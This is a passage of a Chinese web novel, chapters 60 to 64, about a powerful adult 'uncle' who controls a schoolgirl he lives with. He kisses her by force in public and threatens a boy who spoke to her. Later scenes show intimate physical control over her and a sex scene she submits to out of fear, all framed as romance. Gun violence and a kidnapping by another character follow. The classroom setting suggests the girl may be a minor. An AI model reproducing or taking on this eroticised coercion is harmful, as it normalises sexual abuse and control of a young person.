“是家里人安排的。”陈知念垂着眼睑,拉上书包拉链,声音轻轻的:“我想要全家……都移民去曼桑尼约。” “为 什么啊?”唐芊芊惊诧地睁大眼睛,“白塔不好吗?曼桑尼约只是个小城邦,听说政局也不稳定,有几个党派还在争权呢。那里真的安全吗?” 陈知念收拾书包的手指微微一顿,她何尝不知道呢。 她勉强笑道:“我挺喜欢那里的建筑风格和人文环境的。别担心,以后我们可以经常视频联系,我不会忘记你的。” 班长这时也走了过来,是个面容清秀的青涩少年,他关心道:“陈知念,我觉得星曜学府还是更适合你,你要不要再考虑一下。” 陈知念看了他一眼,摇头道:“谢谢,我已经考虑清楚了。” 得到了答案,班长眼神暗了暗,沉默了一瞬,然后说:“我这里有一些关于洛桑威尔的资料,你等一下,我整理好给你。” “谢谢。” “我可以加你的联系方式吗?还有一些电子版的,到时候我一块发给你。” 陈知念感激道:“当然可以,谢谢你。” 几人并肩走出校园,陈知念心情低落,垂着头,目光失神地落在脚下灰色的路面上。 “哇……你看那边!那个人气场好强,虽然看着好冷,但是……也太帅了吧!” “是陈议员啊!!你什么眼神?他之前还来我们学校捐过款的!” 唐芊芊激动地一把抓住陈知念的胳膊,用力摇晃着,“知念!快看!是那个最年轻的议员!近距离看比电视上还要好看!!” 陈知念被她晃得抬起头,顺着她指的方向望去。 门旁那棵高大的悬铃木下,陈寅洛正斜倚着黑色轿车车门,指间夹着一点猩红。他穿着剪裁利落的黑色大衣,没打领带,衬衫领口随意地敞开,周身散发着与校园格格不入的成熟与冷冽。 陈知念呼吸一滞,指尖瞬时抓紧了书包肩带。 唐芊芊还在兴奋地低语:“他是不是在看我们这边啊?” 班长也好奇问道:“他……是在等你吗?” “是……是我家叔叔。”陈知念艰难地吐出几个字,声音干涩,“我、我先走了。”—— 作者有话说:[爆哭][爆哭]随缘加更一章,请问我崩了吗,为什么你们都不说话[爆哭][爆哭][爆哭]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 陈知念低着头,像一个牵线木偶,一步一步地朝那个黑色身影挪去。 走到他面前,她低低喊了声:“……小叔叔。” 陈寅洛指尖的烟蒂落下,踩灭,漆黑的眼眸却仍锐利地钉在校门口的某个方向。 “那谁?” 陈知念不明所以地抬头,顺着他冷硬的视线看去,只见唐芊芊和班长还站在那,好奇地朝这边观望。 “是我同学……”她老实地回答。 陈寅洛低头,语气发冷,“我问那男的是谁。” “什么?”陈知念发怔,又回望看去,班长还没有走,视线一直落在自己这边,眸光探究。 她这才反应过来陈寅洛问的是谁,“是、是我们班长……他说有复习资料要给我,所以……” 话还没说完,人影就倏然覆了下来,陈寅洛一手轻轻掐住她的脸颊,低头便吻了上去。 “你!你干什么?!”陈知念偏头躲闪,声音里带着惊慌与羞耻。 可他的力道恰到好处,既不容她挣脱,又不会弄疼她。 短暂一吻过后,陈寅洛抬眼,如愿在那个男孩眼里看到猝不及防的震惊。 他微微扬唇,转而用掌心揉了揉陈知念的头发,“上车。” 陈知念圆溜溜的眼睛瞬间就沁湿了,水汽迅速氤氲成一片。尽管看不见,可她就是觉得有无数的针扎在她背上。 她恨不得立刻原地消失,或者脚下裂开一道缝将她吞没。刚刚还对同学坚称只是“叔叔”,转眼却在众目睽睽之下……她几乎能预想到,明天学校里会传出怎样难堪的流言。 而在她看不见的地方,阿星已经心领神会地带着陆野朝班长走去。 陈寅洛垂眸看着她无声落泪的模样,指节蹭过她湿漉漉的脸颊。 “哭什么,我难道见不得人?” “走了。”他拉开车门。 陈知念抬起泛红的眼睛,无声地瞪了他一眼,那眼神里掺着委屈、愤怒,还有几分无可奈何。最终她还是抿紧嘴唇,带着明显的赌气意味,弯腰钻进了车里。 上了车,严彬很识趣地升起了前后座之间的隔音挡板。 车辆平稳驶离学校。 陈知念紧挨着车门坐着,视线固执地投向窗外飞逝的街景,抿着唇一言不发。 “气性这么大,”陈寅洛侧眸扫了她一眼,“不就是亲一口吗,嫌丢脸了?” 陈知念猛地转过头,眼圈还红着,“什么叫不就是亲一口?你在那么多同学面前……你让我以后怎么见人!” “有什么见不得人的。”陈寅洛不以为然,“谁的舌头要是不想要了,我不介意帮他个忙,让他永远闭嘴。” “你……!” 她紧紧盯着他侧脸冷硬的线条,一股寒意从心底窜起。她再一次清晰地认识到,法律、道德,这些束缚普通人的规则,在他的世界里,根本形同虚设。 意识到他绝不是在开玩笑后,陈知念软下语气:“你别、你别这样……同学们……不会乱说的。” 看着她可怜巴巴哀求的模样,陈寅洛心头火起。她为了护着那些外人,倒是肯拉下脸来求他。可这份心思,却从未见她用在他身上。 他烦躁地别开脸:“别啰嗦了,带你买衣服去。” 提到衣服,陈知念怔了怔,随即视线不自在地挪开,耳根悄悄烧红。 今天早上她起床,就看到床头放着一套崭新的衣服。从外套、裙子到贴身的内衣裤,一应俱全。若非如此,她甚至找不到一件可以蔽体的衣服穿来学校。 气氛有些沉默,过了几分钟陈寅洛忽然开口:“今天陈毅衡来找我了。” 陈知念立即回头,甚至身子不由自主地就靠近了他,紧张道:“爸爸去找你了?他……你没对他怎么样吧?” “我能对他做什么?”陈寅洛斜斜睨她一眼,“我们相谈甚欢。” 陈知念对于‘相谈甚欢’四个字表示很大的怀疑,但她也不纠结,想了想她问道:“爸爸他……还好吗?我妈妈的身体,不知道有没有好一点……” 越说声音越低,夹杂着显而易见的失落。 “陈毅衡中气足得很,桌子拍得震天响,你有什么可担心的。”陈寅洛蹙眉。 陈知念没忍住又掉珍珠,她吸吸鼻子,纤细的手指紧紧攥住陈寅洛的衣袖,“小叔叔,让我回去看看爸爸妈妈,就一次,好不好?” “真麻烦。”陈寅洛嗤鼻。 听到他语气似乎有所松动,陈知念大着胆子上前,拥住他脖子,将脸埋在他颈窝,低低哭求:“小叔叔,答应我吧。” “求你了。”她轻轻蹭了蹭。 陈寅洛一脸烦躁地捏住她后颈,把人从自己身上扯离寸许,眸光狠厉地落在她湿漉漉的脸上。 “哭什么哭。” “周末抽空带你去一趟。” 说完,他又轻轻掐住她下巴,“见了面就老实跟我回来,别动歪心思。” “知道了。”陈知念乖巧万分。 陈寅洛轻轻摩挲着她下巴,滑滑的,软软的,像是一用力就能捏碎。他指节微微收紧,在她细腻的肌肤上留下淡红印记,又骤然松开: “乖一点。” 车辆在白塔城最繁华的GLOW广场停下。陈寅洛率先下车,姣好的容貌和气质让周遭路人忍不住侧目,几个提着购物袋的女人目光若有似无地在他身上流连,带着掩饰不住的惊艳。 陈寅洛拧眉朝车里催促:“快点。” 陈知念下了车,两人前一后步入商场鎏金的大门。一位身着剪裁考究套装的导购早已静候在侧,她微微颔首,领着他们乘上专属电梯,直达按键上的数字“8”。 望着电梯楼层标识,陈知念有点疑惑。GLOW她来过很多次,印象中,这座商场对外公示的楼层,最高只有七楼。 电梯门滑开,扑面而来一股冷冽香氛的气息。四名身着黑西装的导购立即迎上来,热络却又不谄媚,“陈先生,这边请,您的专属试衣区已备好。” 陈寅洛没应声,大步流星地往前走。 四名导购下意识地调整脚步,两人在前 引路,两人跟在身后半步远的位置,既不会挡住他的视线,又能随时回应需求。 走了大约十几步,他们被引至一处私密的贵宾室。这里俨然一个设施完备的私人衣帽间,柔和的光线、舒适的沙发、精致的梳妆台与饮品台一应俱全。最引人注目的是,还有两位身高、身形都和她差不多的模特立在一旁。 直到坐到沙发上,陈知念才骤然回神。 “陈先生,”为首的导购上前一步,“根据您之前确认的风格方向和陈小姐的尺码数据,我们准备了这两个系列的初版成衣,已由模特完成试穿,方便您直观感受廓形与动态效果。” 她递上一台平板,界面显示着更详细的面料信息和备选颜色。 “所有细节均可调整。品牌的面料师和版师已在隔壁候场,若您希望专属定制,挑选面料后,空运工期最快三天。” 陈寅洛的视线没在平板上停留,他侧过头,对身旁有些无措的陈知念随意道:“你看着选。” 随即,他便向后靠进沙发里,拿出手机,不再关注。 导购训练有素地将目光转向陈知念,脸上挂着恰到好处的微笑,将平板再次递到她面前:“陈小姐,您请看。” 突然成为视线的焦点,陈知念感到一阵慌乱的窒息。这过度奢华周全的服务,让她感觉很不自在。 她僵硬地接过平板,胡乱指了两件。 “好的。”导购微笑着记下,却又自然地引导着,“这款的腰线设计非常精妙,需要为您取来试穿一下,看看是否需要调整吗?” 陈知念下意识地看向陈寅洛,他仍盯着手机屏幕,仿佛事不关己。但这种沉默本身就是一种默许和压力。她只好点点头。 当她在导购的陪同下从试衣间走出来时,镜子里的人让她有一瞬间的陌生。裙子的剪裁意外地合身,墨绿色衬得她肤色愈发白皙,那种沉静的质感确实与她平时穿的学生气衣服截然不同。 陈寅洛不知何时抬起了头,目光透过镜子的反射,落在她身上。 “版型很合适,陈小姐穿这款特别显气质。”导购在一旁轻声夸赞,却没再多说,显然是给陈寅洛留出评价的空间。 过了好几秒,陈寅洛轻扬下巴:“可以。” 他显然很不习惯做这种浪费时间的事,彻底耗尽了耐心,收起手机从沙发上站起身,“把你们当季成衣按照她的尺寸,全部打包送到我家。” 他朝她招招手,“走了。” 两人在导购的簇拥下走向电梯。电梯缓缓下行,门在一楼打开的瞬间,一道靓丽干练的身影便映入眼帘。那女人显然也看到了陈寅洛,眼中闪过一丝毫不掩饰的惊喜,立刻踩着高跟鞋迎上前来。 “陈先生,真巧。”她笑容明媚,“没想到能在这里遇见你。” 陈知念抬眼看去,女人很是眼熟,她在脑海里搜索了一遍,却没想起来是谁。 而陈寅洛的反应更直接。 他蹙起眉,不耐烦地态度冲破天际:“你哪位?” 女人僵了僵,但很快调整过来,微笑道:“陈先生真是贵人多忘事。您不久前上过我们栏目组的访谈,我是当时的主持人林薇。节目结束后,我还向您请教过几个问题,您忘了?” 陈寅洛终于想起来了,就是那个聒噪的主持人。 陈知念的目光在两人之间悄悄游移,试图从他们的互动中读出些什么。 这个细微的动作没能逃过陈寅洛的眼睛。 他眸色一沉,心底莫名窜起一股无名火——她竟然在怀疑他和这个聒噪的女人有什么? 更烦了:“说完了就让开,我赶时间。” 他可是洁身自好的好男人,别来败坏他名声—— 作者有话说:[捂脸笑哭][捂脸笑哭]醒醒吧,你这个恋爱脑 第62章 回到别墅,灯刚亮起,一条毛茸茸的雪白团子便从地毯上滚过来,兴奋地围着陈寅洛的裤腿打转,撒欢似的摇尾巴。 陈知念怔在原地。她实在无法将眼前这个冷硬的男人,和会养这种蓬松柔软小生物的形象联系起来。 更让她惊讶的是,陈寅洛竟自然地弯腰,一把将那团白色捞进怀里,指尖胡乱揉了揉小狗的脑袋。 “傻狗,叫爸爸。” 小狗湿漉漉的鼻子蹭着他的手腕,欢快地“汪汪”叫了两声。 陈知念呆呆看着这违和的一幕,思绪还未回转,臂弯便陡然一沉。 她直愣愣低头,那团雪白蓬松的小家伙已安稳地窝在了她的怀里。 两双眼睛蓦然相对。同样是乌溜溜的圆眸,同样漾着水光,此刻正一眨不眨地望着彼此。 那一瞬间,连懵懂的神情都如出一辙。 小狗摇了摇尾巴,伸出舌尖舔了舔她手腕。 陈知念被小狗湿软的舌尖舔得手腕发痒,忍不住扑哧笑出声来,指尖轻轻揉着它毛茸茸的脑袋。她抬头望向陈寅洛,“它叫什么名字。” 陈寅洛的视线掠过那一大一小两双圆溜溜的黑眼睛,喉结微动。又很快移开,语气生硬道:“没名字。” 他转身往客厅走去,“就叫傻狗。” 陈知念低头蹭了蹭小狗温暖的脑袋,忍不住轻声反驳:“它哪里傻了?不许你这么叫它。” 陈寅洛当作没听见。 陈知念举起小狗的爪子,问它:“叫雪球好不好?球球。” 陈寅洛闻言挑眉,冷淡的视线在她和小狗之间扫了个来回,最终从鼻腔里哼出一声: “随便你。” 陈知念对雪球爱不释手,有了它的陪伴,让她暂时忘记了自己的处境和连日的阴霾。 “来,球球!”她拿起一个彩色的小皮球,轻轻朝不远处一抛,雪球立刻像道闪电般窜出去,努力地用爪子将球扒拉回来。 她笑着接过球,又故意扔向另一个方向。几次下来,玩累了的雪球不再追球,而是直接扑到她的拖鞋上,抱着她的脚踝打滚,露出软乎乎的肚皮,朝她撒娇。 一人一狗在地毯上嬉闹着,陈寅洛看了一会儿,忽然弯腰,一把将正在撒欢的雪球捞起夹在臂弯里,随即握住她的手腕将人轻轻带起:“一身狗毛,去洗干净睡觉。” 陈知念的笑容顿时一滞。虽然她好像已经能习惯和他躺在一张床上,但如果可以,她还是想离他远点。 她犹豫了一会,怯怯道:“能不能……让雪球一起上去?” “得寸进尺?”他语气听不出喜怒,却也没直接拒绝。 停顿片刻,他把狗往她怀里一塞,“仅此一次。” “……谢谢。”陈知念抱着狗,飞快跑上了楼。 浴室里水声淅沥。她磨蹭了比平时更长的时间,直到手指皮肤都泛起褶皱,才穿着睡裙慢吞吞地走出来。 陈寅洛已经靠在床头,阖着眼,不知是假寐还是真睡。雪球倒是乖乖趴在床尾的软垫上,听到动静,立刻竖起耳朵,黑溜溜的眼睛望向她。 陈知念轻手轻脚地爬上床的另一侧,尽量拉开距离,缩进被子里。她刚躺稳,雪球就跳了上来,寻到她颈窝处,找了个舒服的位置团成一团。 雪球还没窝上一秒钟,一只大手 便精准地擒住它后颈,嗖一下丢下了床。 “你干嘛?”陈知念蹙眉。 陈寅洛不知从哪儿取出药膏,语气平淡: “涂药。” 陈知念脸霎时飞起红晕,她垂下眼帘,吞吞吐吐说:“我、我已经好了,不用涂了……” 陈寅洛声线一黯,“好了?” 声音隐着危险气息,陈知念倏然抬头,对上他沉沉的眼眸。 “没……没好。真的没好。”她立刻改口,认命般小声补充:“还是……要涂的。” “等着。” 陈寅洛从床上起身,脱掉衣服径直去了浴室冲澡。确保手指洗干净后,他随手系上浴巾,露出紧实的腹肌。 走到床边,拍了拍在被子里缩成一团的人,“出来。” 被褥底下传来细微的动静,像是摇了摇头。 陈寅洛也不勉强,“腿。” 磨蹭了好一会儿,被子边缘窸窣作响,一双纤细笔直的腿才慢吞吞地从被窝里探了出来。 陈寅洛修长的手指拉着她睡裙边缘向上一卷,随即指尖轻勾,纯白的内裤就被脱至脚踝。 骤然暴露在空气中,膝盖下意识就想紧闭。 陈寅洛蹙眉,抬手按住,“老实点,很好就涂完,不疼。” 指尖挖了一小块药膏,陈寅洛垂眸,目光专注地落在伤处,看上去已经差不多好了,浅粉色,红肿都基本消退了。 刚碰到,陈知念的身体就剧烈地颤了一下,脚尖倏地蜷起,整个人往床头缩了缩,想躲开那微凉的触感。 “别动。” 等外侧涂得差不多,他指尖沾了点新的药膏,“里面也得涂。” 话音刚落,陈知念的身体就更僵了,头埋进枕头里,闷声摇头,就连膝盖也在微微发抖。 陈寅洛指尖顿了两秒才缓缓探入。 “呜……” 陈知念轻轻呜咽了一声。 就像是小猫一爪挠在了心尖上。 陈寅洛眸色暗沉。沉默数秒,再开口时嗓音染上一丝沙哑:“忍一下。” 他觉得自己简直能去庙里坐禅了,立地成佛也不是不可能。 凭借强大的克制力,陈寅洛几乎是上刑般的涂完了药。 洗干净手躺回床上,被子里的人还不肯出来。陈寅洛伸出手将人扒拉出来,果不其然,又在掉眼泪了。 陈知念觉得自己真没出息,她恨透了这个连身体自主权都丧失殆尽的自己,恨透了这个只能任人摆布的自己。 “又哭什么。”陈寅洛扳过她的脸,指腹粗暴地抹掉她脸上的泪痕,“别哭了,再哭眼睛还要不要了。” 陈知念抽噎得话都说不连贯,“我……我不要涂药了……我不想涂……” “你以为我乐意伺候你?”他语气硬邦邦的,“别不知好歹。” “陈寅洛,你怎么这么过分?!” “我怎么过分了?我费心费力给你上药,倒上出罪过来了?我看你是得了便宜还卖乖。” 陈知念被他的无赖逻辑气得浑身发抖,她再也顾不上伪装,用尽全身力气推搡着他:“明明是你无耻,是你非要……非要那样对我!你还好意思说这种话?” 陈寅洛轻而易举制住她胡乱挥舞的手腕,将她按在床垫上。 “陈知念,你不想睡觉是不是?” 陈知念胸口剧烈起伏,通红的眼睛里满是倔强。 “我不睡!我不要和你睡!” 陈寅洛眸色骤然转冷。他单手钳住她两只手腕按在头顶,声音阴沉:“行,不睡就别睡了。” “看来是药效太好,让你忘了疼,还有力气闹腾。” 陈知念猛地一颤,挣扎得更凶了:“你放开我!混蛋!” “对,我就是混蛋。”他从牙缝里挤出这句话,“你第一天才知道?” 陈知念的挣扎骤然顿住,泪水无声地顺着脸颊滑落,在枕头上洇开深色的痕迹。 房间里静得只剩下彼此交错的呼吸声。 陈寅洛低头盯着她通红的眼眶看了许久,忽然松开钳着她手腕的手。 “还闹?”他声音里的戾气散了些,“再闹,明天真的别想出门了。” 陈知念吸了吸鼻子,闷闷道:“……我要睡觉了。” 陈寅洛翻身躺下,不由分说地将人揽近,让她的头靠在自己胳膊上,“闭眼。” 雪球听到动静,轻巧地跃上床,钻进了陈知念怀里。她立刻紧紧抱住这团温暖的绒毛,闭上眼睛,一动不动。 陈寅洛瞥了那团白毛一眼,总算是没再扔下床。 两人一狗,沉入梦乡。 第二天清晨,陈知念是被热醒的,好热好热,像是跌进了火焰山,怎么逃都没用。 她迷迷糊糊地睁开眼,迟钝的思维缓缓运转——是发烧了吗? 她挣扎了一下,却在瞬间清醒。不对劲。 领教过它的可怕之处,陈知念顿时浑身紧绷,不敢再动,甚至还掩耳盗铃地闭上了眼,企图用装睡蒙混过关。 而陈寅洛根本不给她逃避的机会,他收紧了横在她腰间的手臂,低头将吻落在她的耳后。 “陈知念,别装睡了。” “我要和你做晨间运动。” 第63章 陈知念的脸瞬间烧了起来,她攥着雪球的爪子,用蹩脚的理由拒绝:“……雪球还在这。” 声音细弱,连她自己都知道这理由站不住脚,却还是想多拖一会儿。 陈寅洛低头看了眼被她抱得紧紧的雪球,那白团子还没醒,正呼呼大睡,尾巴尖偶尔轻轻晃一下。 他低笑一声,指尖轻轻捏了捏她泛红的耳垂:“它懂什么。” “那……那也不行。”陈知念咬着下唇,头埋得更低。 话音未落,陈寅洛已径直拎起雪球的后颈,大步走到门边拉开门,将迷迷糊糊的小狗扔在门外,随即砰一下关上门。 “现在听不见了。” 他转身回到床上俯身,双手撑在她身侧,将她轻轻圈在怀里。 陈知念往床头缩了缩,眼睫乱颤,目光慌乱地扫过他的下巴、锁骨,就是不敢落在他眼睛上。 “我、我……马上要去学校了。”她声音发颤,“不能迟到。” “让直升机送到你学校门口,来得及。” 他低头,鼻尖先轻轻蹭过她的,带着温热的呼吸,唇瓣离她不过半寸距离,再往前一点就能贴上。 可就在这瞬间,陈知念忽然反应过来,骤然抬起手,一下捂住了他的唇。 掌心能清晰感觉到他唇瓣的温热,还有他呼吸时轻轻拂过掌心的痒意。 陈知念眼底泛着水光,快要哭了,“我还没刷牙!” 他挑眉,“我都不介意,你倒先讲究起来了。” “……” 他没再等她反应,将她的手从唇上挪开。 然后他的唇就落了下来。 他应该是刷过牙了,唇齿间带着清冽的薄荷气息。 吻渐渐深了些。他的舌尖轻轻撬开她的唇齿,缠上她无处可躲的舌尖。 陈知念的睫毛颤的越来越厉害,她抬手想推他,指尖刚碰到他肩头,就又倏然顿住。上次他暴躁的记忆还未退却,她怕这一推,会引来更粗暴的对待。 难以言喻的感觉在身体里流窜,像是无数细小的蚂蚁在皮肤下爬行。 “我不要……会疼,你走开……”她仰着纤细的脖颈,锁骨因为用力而凸起,泪水已经漫到了眼眶边缘,再眨一下就要掉下来。 陈寅洛的鬓角滴下几滴汗,用尽毕生的忍耐力回答,“……这次不会。” 他低下头,再次吻住她,这个吻带着前所未有的耐心和安抚,像在哄小孩。 唇齿交缠间,他含糊地低语,“我慢慢来,好不好?” “我不行,我害怕……太、太疼了……” 陈知念思绪混沌不堪,泪水盛满了眼眶,摇摇欲坠。 “就试一次,疼,我们就停下。” “你……你骗我。” 陈寅洛沉下眼眸,“陈知念,我对你,已经用尽这辈子所有的耐心了。” 他从不是会低声 下气哄人的性子,能做到这份上,已经是太阳打西边出来了。 他的话让陈知念冷静了一瞬,可怕的记忆总是那么刻骨铭心。 现在他还在耐心地哄,可如果她再拒绝呢?会不会像上次一样,彻底耗尽他的耐心,让他再次暴怒?到时候,她还是逃不掉,反而会更疼。 她指尖攥紧床单,避开他的视线,“你……”话到嘴边又卡住,她抿了抿唇,才又小声问,“你真的……不骗我?” 陈寅洛拧眉,“我不骗你。” 他想找个更软的词,却搜遍了脑子也只想到一句硬邦邦的,“我要是不停,你就咬我。” 他抓起她的手按在自己手臂上,“往这儿咬,怎么疼怎么咬。” 陈知念不说话了,轻轻颤了颤睫毛。 陈寅洛捕捉到了她身体的这一微妙变化。他不再多言,重新俯下身,轻缓地吻住她。 “呼吸,别憋死了。”他哑声命令。 陈知念这才意识到自己一直屏着气,胸口憋得发疼,连忙吸了口气,却因为太急,呛得轻轻咳嗽了两声。 他停滞着,维持着那个临界点的压力,汗珠顺着紧绷的下颌线滚落。倒吸了一口冷气,咬着牙问:“疼吗?” 陈知念泪眼模糊地摇头,又立刻点头。 “忍一忍。”声音里的忍耐已经到了极限。 他指腹安抚地抚摸着她发丝,见她只是咬着嘴唇掉眼泪,没再挣扎,才继续尝试。 “别抖。”陈寅洛感觉到她的颤抖,低头在她发顶轻轻吻了一下,“我不弄疼你,再忍一忍。” 陈知念把脸埋进枕头,在某个突如其来的点被触动时,她发出一声短促地惊呼。她自己先愣住了,随即羞耻得连脚趾都蜷缩起来。 陈寅洛低笑一声,像是发现了什么有趣的事情,变本加厉地乘胜追击。 “不要……”她求饶道,可背却不受控制地微微弓起。 “还疼吗?”他低头,嘴唇凑在她耳边,声音哑得厉害,热气拂过她的耳廓,让她耳根通红。 陈知念埋在枕头里摇了摇头,声音还是闷的:“不、不疼了……就是……” 后面的话没说完,她就卡住了。她没法说出口。 “就是什么?”陈寅洛追问着,指尖轻轻捏了捏她的耳垂,“跟我说,嗯?” 陈知念憋了半天,“你不要脸。” “好,我不要脸,我混蛋。”他忍着笑意:“亲我一下。” “走开。” —— 陈知念踏进校门时,上课铃声刚好敲响。空旷的林荫道上只剩下零星几个奔跑赶课的身影,这让她紧绷的神经稍稍松懈下来。 她很担心今天会面对数不清的窃窃私语和探究视线。 她低头加快脚步,走进教室。 刚落座,班主任便敲了敲讲台:“大家安静。班长因故请假,这几天的班级事务和下周主题班会的筹备,暂时由陈知念同学负责。” 一道突如其来的任命,让全班的目光瞬间聚焦在陈知念身上。 她埋着头,紧握着笔,坐如针毡。 好不容易挨到下课,唐芊芊就凑了过来,“知念,陈议员居然是你叔叔?等等,他昨天亲你了,你们……” “不是!”陈知念猛地打断,随即意识到失态,慌忙压低声音强行转移话题:“你别问了,班长今天怎么会请假了?” “班长啊,听说是昨天回家路上不小心把腿给摔断了,估计要请好长一段时间呢。” 陈知念暗暗松了口气,正要继续这个话题,却听见唐芊芊话锋一转:“不过说起来,昨天陈议员来接你的时候真的好帅啊!那么多人看着,他就直接……” “芊芊!”陈知念耳根通红地打断她,“快上课了,我们赶紧预习下节课内容吧。” 她慌忙翻开课本,假装专注地看起来。这一整天,她都在各种探究的目光和窃窃私语中度过,每一分钟都像在煎熬。 放学铃声终于响起时,陈知念快速收拾好书包,第一个冲出教室。 走出校门,她一眼望去,只看见陆野一个人靠在车边等候,那双总是带着笑意的眼睛,在看到她的一瞬间亮了起来,像只找到了主人的大型犬。 她脚步迟疑地走过去,“陆野,他们……雷子和阿星呢?” “雷哥有急事,星哥去码头了。”陆野语气轻松,自然地为她拉开车门,“今天我来当你的专属司机。” “哦。”陈知念点点头,坐进车里。 车子平稳行驶,车内放着舒缓的音乐。沉默了一会儿,陈知念忽然开口:“陆野,小平安呢?你……你怎么会到陈寅洛身边了?” 陆野握着方向盘的手指稍稍收紧了一瞬。 他从后视镜里看向她。少女的头发松松地挽在脑后,露出纤细的脖颈,眼睛清澈得像盛满了星光,映着窗外掠过的流光,带着点不谙世事的担忧。 为什么会到陈寅洛这来么,他眼眸渐渐幽深,有些话没必要说出口。 难道要告诉她,为了能像今天这样偶然地站在她身边,他踩着多少人的肩膀,甚至亲手处理掉多少障碍,才在陈寅洛手下争得这一席之地? 他一定会把她带走的,从那个男人身边。 这个念头如同暗火,在他心底灼烧。 陆野最终只是弯起嘴角:“机缘巧合罢了,洛哥给了我一个机会。能跟着他,是我的运气。” 陈知念沉默了一瞬,还是决定开口提醒:“他……他不是好人,你最好……别跟着他。” 他是个单纯的少年,不应该跟着陈寅洛那种坏人做坏事。 陆野的心口像是被什么东西轻轻撞了一下。她在担心他。 他的喉结轻轻滚了一下,刚想开口说点什么,“砰——!”一声巨响突然炸开。 子弹击穿了副驾驶的车窗,玻璃碎片瞬间飞溅,陆野反应迅敏,猛打方向盘,车身往左侧倾斜,轮胎摩擦地面发出刺耳的尖叫。 “啊!”陈知念坐在后座,毫无防备,身体不受控制地往车门撞去。 “低头!别抬头!”陆野的声音带着前所未有的急促,左手死死攥着方向盘,将车子往路边的小巷拐去,右手同时迅疾地探向后座,一把将陈知念的头按低,护在座椅下方。 身后的黑色轿车如影随形,又是几声沉闷的枪响。子弹“噗噗”地打在车体上,留下狰狞的弹孔。 陆野眼神一厉,嘴角绷紧。他猛踩油门,车子在迷宫般的小巷里疯狂穿梭,利用垃圾桶、废弃摊位不断阻挡追击路线。同时,他单手利落地打开副驾驶储物格,摸出里面的手枪,“咔嚓”一声干脆利落地上膛。 “滋——”一声刺耳的刹车声,车子甩尾停在一个废弃仓库后方。 “你躲进去,绝对不要出来!”陆野回头看向缩在座椅下的陈知念,“我去引开他们。” 陈知念吓得浑身发抖,却担忧地抓住他:“他们有枪……你别去!” “听话!”陆野反手用力握了一下她的手,眼神有种奇异的镇定,“我保证,不会有事。”—— 作者有话说:[求你了][求你了]求一波营养液~~~ 第64章 陆野迅速扫视周围,目光锁定在仓库深处一个堆满废弃纺织原料的角落。那里被厚重的布料和旧棉絮覆盖,光线昏暗,是绝佳的藏身之处。 “跟我来!”他语气急促,一把拉起陈知念的手腕,怕她跟不上,又伸手揽住她的腰,半扶半抱地将她往角落带。 “躲在这里,无论听到什么声音,绝对、绝对不要出来!”他按住她的肩膀,目光灼灼地盯着她,语气是前所未有的严肃,“等我回来找你,记住,只等我。” 陈知念看着他眼底的急切,知道自己不能拖后腿,只能白着脸点头。 陆野深深看了她一眼,那眼神复杂难辨。随即转身,像一头猎豹般冲回车上。他猛踩油门,车子发出刺耳的咆哮,故意吸引着所有注意力,如离弦之箭般冲出了仓库区域。 果然,追击的车辆立刻被引擎的轰鸣声引走,枪声迅速远去。 仓库后方重归死寂。陈知念蜷缩在纺织堆里,心脏狂跳,捂着嘴不敢发出一点声音,每一秒都漫长如年。 而另一边,陆野驾车将追兵引到废弃厂区的偏僻角落,借着夜色和断墙的掩护,猛地停下车,翻身躲到墙后。不等追兵反应,他抬手举枪,精准击中最前面车辆的轮胎,“砰”的一声,轮胎爆响,车辆瞬间失控,挡住了后面的追兵。 他没给对方反击的机会,迅速换弹,朝着追兵的方向连开数枪,动作干脆利落 ,没有半分犹豫。几分钟后,枪声渐渐稀疏,陆野靠着生锈的铁皮墙,粗重地喘着气。黑色外套的肩头被子弹擦过,撕开一道口子,渗出血迹,却没伤到要害。 他抬手抹去溅到下颌的血点,眼神冷厉地扫过不远处几具倒在血泊的身影,确认没有活口后,才松了口气。 陆野摸了摸自己的左腰侧,那里的皮肤下藏着一个小小的皮下定位器。没有丝毫犹豫,他从靴子里抽出一把异常锋利的匕首,用打火机燎了燎刀尖。 然后,他深吸一口气,左手死死按住定位器所在的位置,右手握着刀,深吸一口气,猛地往下划去。 “呃……”一声压抑的闷哼从他喉咙溢出。鲜血瞬间涌出,但他眉头都没皱一下,用刀尖在皮下仔细地探寻、剥离。不过十几秒,一枚沾着血的、绿豆大小的微型芯片被刀尖挑了出来。 陆野看也没看,将芯片丢在地上,一脚碾碎。 处理完定位器后,他又折返回到了仓库,拨开满是堆料的废品堆,就看到了缩成一团瑟瑟发抖的陈知念。 陈知念从惊慌中抬头,看到是他,眼里瞬间泛起水光,“陆野?你回来了?!” 陆野回来了。但眼前的他,让陈知念感到陌生。 他的外套不见了,只穿着一件深色短袖,腰上缠着一段已被鲜血浸透的布条。他的脸上、脖子上溅着几滴尚未干涸的血点,看她的目光不再是清澈或青涩,而是隐着令人不安的兴奋和偏执。 “陆野?”陈知念不确定地喊。 “别怕,”陆野走近,声音异常平静,“追兵暂时解决了,但这里不安全,我们必须立刻离开。” “我们去哪?”陈知念声音发颤,下意识地想到陈寅洛,“要不要联系陈……” “别提他。”陆野的声音骤然冷了下来,打断了她的话。没等她反应,他突然上前一步,手掌重重落在她的后颈。 一阵剧痛瞬间传来,陈知念难以置信地睁大眼睛,身体不受控制地软下去。 他稳稳接住她软倒的身体,打横抱起。 “睡吧,”他低头在她额前印下一吻,“我会带你去一个安全的地方。” “一个谁也找不到的地方。” 他抱着她,迅速消失在仓库更深的阴影里,如同恶龙终于将觊觎已久的珍宝,拖回了只属于他的巢穴。 —— 男人坐在沙发上,没什么表情,可整个房间的空气都因他而凝固,沉甸甸地压下来,让人喘不过气。 阿星和雷子并排跪在地上,头颅深垂,冷汗已浸透衬衫后背。 “人呢。” 声音冷淡,无甚起伏。 一片沉默。 雷子和阿星甚至说不出半句辩解的话。人不见了,说来说去都是他们的失职,辩无可辩。 严彬硬着头皮上前半步,顶着那骇人的低压开口:“洛哥,查清了,是魏山河动的手。他记恨您扣了他儿子,想绑了陈小姐作筹码。” 男人的眼眸缓缓落到他身上,“所以,人在魏山河那?” 轻飘飘的一眼,严彬却两腿泛软,他干涩道:“还……还不能确定。魏山河派去的人……大部分都折在现场了。” “不确定。”男人低声重复,声线骤然下压:“那你说这些废话,有什么用。” 严彬咽了口唾沫,说出了最关键的信息,“陆野不见了。现场没找到他的尸体,也联系不上。他身上的定位信号,在事发地点附近……彻底消失了。” “老大,都是我的错!是我失职,是我瞎了眼!我们现在就去找,就算翻个底朝天,也一定把嫂子找回来!” 阿星砰一下,头磕在地上,长伏不起,连额角磕出了血都没察觉。 